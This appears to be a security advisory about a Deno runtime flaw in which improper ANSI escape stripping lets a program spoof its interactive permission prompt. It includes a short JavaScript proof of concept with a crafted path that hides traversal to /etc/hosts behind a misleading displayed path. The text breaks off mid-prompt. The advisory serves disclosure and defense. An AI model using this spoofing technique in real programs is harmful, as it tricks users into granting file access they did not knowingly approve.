Summary A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents. Details In the patch for CVE-2023-28446, Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences. For example, requesting the read permission with /tmp/hellou001b[/../../etc/hosts as a path will display the /tmp/hellotc/hosts in the permission prompt, but the actual permission given to the program is /tmp/hellou001b[/../../etc/hosts, which is /etc/hosts after the normalization. This difference allows a malicious Deno program to spoof the contents of the permission prompt. PoC Run the following JavaScript and observe that /tmp/hellotc/hosts is displayed in the permission prompt instead of /etc/hosts, although Deno gives access to /etc/hosts. javascript const permission = { name: "read", path: "/tmp/hellou001b[/../../etc/hosts" }; await Deno.permissions.request(permission); console.log(await Deno.readTextFile("/etc/hosts")); Expected prompt ┌ ⚠️ Deno requests read access to "/etc/hosts". ├ Requested by `Deno.permissions.query()` API ├ Run again with –allow-read to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) > Actual prompt “ ┌ ⚠️ Deno requests read access to "/tmp/hellotc/hosts". ├ Requested byDeno.permissions.query()` API ├ Run again with…Read More
Deno’s deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping
